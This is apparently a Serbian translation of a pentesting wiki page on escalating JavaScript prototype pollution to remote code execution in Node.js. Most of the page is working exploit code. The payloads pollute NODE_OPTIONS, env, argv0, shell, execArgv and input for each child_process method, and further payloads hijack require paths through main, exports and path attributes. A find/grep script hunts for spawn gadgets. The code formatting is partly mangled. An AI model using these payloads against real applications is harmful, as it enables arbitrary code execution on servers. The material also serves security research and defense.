Zamislite pravi JS koji koristi neki kod poput sledećeg:
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE putem env var
PP2RCE znači Zagađenje prototipa do RCE (Daljinsko izvršavanje koda).
Prema ovom izveštaju, kada se proces pokrene nekim metodom iz child_process (kao što su fork ili spawn ili drugi), poziva se metoda normalizeSpawnArguments koja je alat za zagađenje prototipa za kreiranje novih env var:
Check that code you can see it's possible en poison envPairs just by polluting the attribute .env.
Poisoning __proto__
Napomena da zbog načina na koji funkcija normalizeSpawnArguments iz biblioteke child_process u node radi, kada se nešto pozove kako bi se postavila nova env varijabla za proces, potrebno je samo zagađivanje bilo čega.
Na primer, ako uradite __proto__.avar="valuevar" proces će biti pokrenut sa varijablom pod imenom avar sa vrednošću valuevar.
Međutim, da bi env varijabla bila prva potrebno je zagađivanje`.env atributa i (samo u nekim metodama) ta varijabla će biti prva (omogućavajući napad).
Zato NODE_OPTIONSnije unutar .env u sledećem napadu.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Zagađenje constructor.prototype
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE putem env varijabli + cmdline
Sličan payload kao prethodni sa nekim izmenama je predložen u ovoj analizi. Glavne razlike su:
Umesto da čuva nodejs payload unutar fajla /proc/self/environ, čuva ga unutar argv0 od /proc/self/cmdline.
Zatim, umesto da zahteva putem NODE_OPTIONS fajl /proc/self/environ, zahteva /proc/self/cmdline.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
DNS Interakcija
Korišćenjem sledećih payload-a moguće je zloupotrebiti NODE_OPTIONS env var koji smo prethodno diskutovali i otkriti da li je to uspelo putem DNS interakcije:
U ovom odeljku ćemo analizirati svaku funkciju iz child_process da bismo izvršili kod i videli da li možemo koristiti neku tehniku da primoramo tu funkciju da izvrši kod:
exec eksploatacija
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFile eksploatacija
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
Za **`execFile`** da radi, **MORA** izvršiti node da bi NODE\_OPTIONS radili.\
Ako **ne** izvršava **node**, morate pronaći kako možete **izmeniti izvršenje** onoga što izvršava **pomoću promenljivih okruženja** i postaviti ih.
**Ostale** tehnike **rade** bez ovog zahteva jer je **moguće modifikovati** **ono što se izvršava** putem zagađenja prototipa. (U ovom slučaju, čak i ako možete zagađivati `.shell`, nećete zagađivati ono što se izvršava).
</details>
<details>
<summary><code>fork</code> eksploatacija</summary>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn eksploatacija
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - not working// Not using stdin// Windows// NOT working after require(fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync eksploatacija
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execFileSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execFileSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execFileSync-stdin}\n'var proc =execFileSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"p.__proto__.argv0 ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
execSync eksploatacija
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execSync-stdin}\n'var proc =execSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
spawnSync eksploatacija
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of nodep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - working// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/spawnSync-stdin}\n'var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// Windows// NOT working after require(fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Forcing Spawn
U prethodnim primerima ste videli kako da aktivirate gadget, funkcionalnost koja poziva spawn treba da bude prisutna (sve metode child_process koje se koriste za izvršavanje nečega je pozivaju). U prethodnom primeru to je bila deo koda, ali šta ako kod ne poziva to.
Kontrola putanje do require fajla
U ovom drugom izveštaju korisnik može kontrolisati putanju fajla gde će se izvršiti require. U toj situaciji napadač samo treba da pronađe .js fajl unutar sistema koji će izvršiti spawn metodu kada se importuje.
Neki primeri uobičajenih fajlova koji pozivaju spawn funkciju kada se importuju su:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Pronađite više fajlova ispod
Sledeći jednostavan skript će pretraživati pozive iz child_processbez ikakvog paddinga (da bi se izbeglo prikazivanje poziva unutar funkcija):
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep--with-filename-nE"^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()""$file_path"|grep-v"require("|grep-v"function "|grep-v"util.deprecate"|sed-E's/.{255,}.*//'done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });
Postavljanje putanje do datoteke putem zagađenja prototipa
Prethodna tehnika zahteva da korisnik kontroliše putanju datoteke koja će biti zahtavana. Ali to nije uvek tačno.
Međutim, ako se kod izvršava zahtev nakon zagađenja prototipa, čak i ako ne kontrolišete putanju koja će biti zahtevana, možete prisiliti drugu koristeći zagađenje prototipa. Tako da čak i ako je linija koda poput require("./a_file.js") ili require("bytes"), ona će zahtevati paket koji ste zagađivali.
Stoga, ako se zahtev izvrši nakon vašeg zagađenja prototipa i bez spawn funkcije, ovo je napad:
Pronađite .js datoteku unutar sistema koja kada bude zahtavana će izvršiti nešto koristeći child_process
Ako možete da otpremite datoteke na platformu koju napadate, možete otpremiti takvu datoteku
Zagađujte putanje da prisilite učitavanje .js datoteke koja će izvršiti nešto sa child_process
Zagađujte environ/cmdline da izvršite proizvoljan kod kada se pozove funkcija za izvršavanje child_process (vidi inicijalne tehnike)
Apsolutni zahtev
Ako je izvršeni zahtev apsolutan (require("bytes")) i paket ne sadrži main u package.json datoteci, možete zagađivati main atribut i učiniti da zahtev izvrši drugu datoteku.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
Relativna putanja - 1
Ako se relativna putanja učita umesto apsolutne putanje, možete naterati node da učita drugu putanju:
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Relativno zahtevati - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Relative require - 3
Slično prethodnom, ovo je pronađeno u ovoj analizi.
U radu https://arxiv.org/pdf/2207.11171.pdf takođe je naznačeno da se kontrola contextExtensions iz nekih metoda vm biblioteke može koristiti kao gadget.
Međutim, kao i prethodne child_process metode, to je ispravljeno u najnovijim verzijama.
Fixes & Unexpected protections
Molimo vas da napomenete da prototipsko zagađenje funkcioniše ako je atribut objekta koji se pristupa neodređen. Ako je u kodu taj atributpostavljen na vrednost, nećete moći da ga prepišete.
U junu 2022. iz ovog commit-a varijabla options umesto {} je kEmptyObject. Što sprečava prototipsko zagađenje da utiče na atributeoptions kako bi se dobio RCE.
Bar od v18.4.0 ova zaštita je implementirana, i stoga spawn i spawnSynceksploati koji utiču na metode više ne rade (ako se ne koriste options!).
U ovom commit-u je prototipsko zagađenjecontextExtensions iz vm biblioteke takođe donekle ispravljeno postavljanjem opcija na kEmptyObject umesto {}.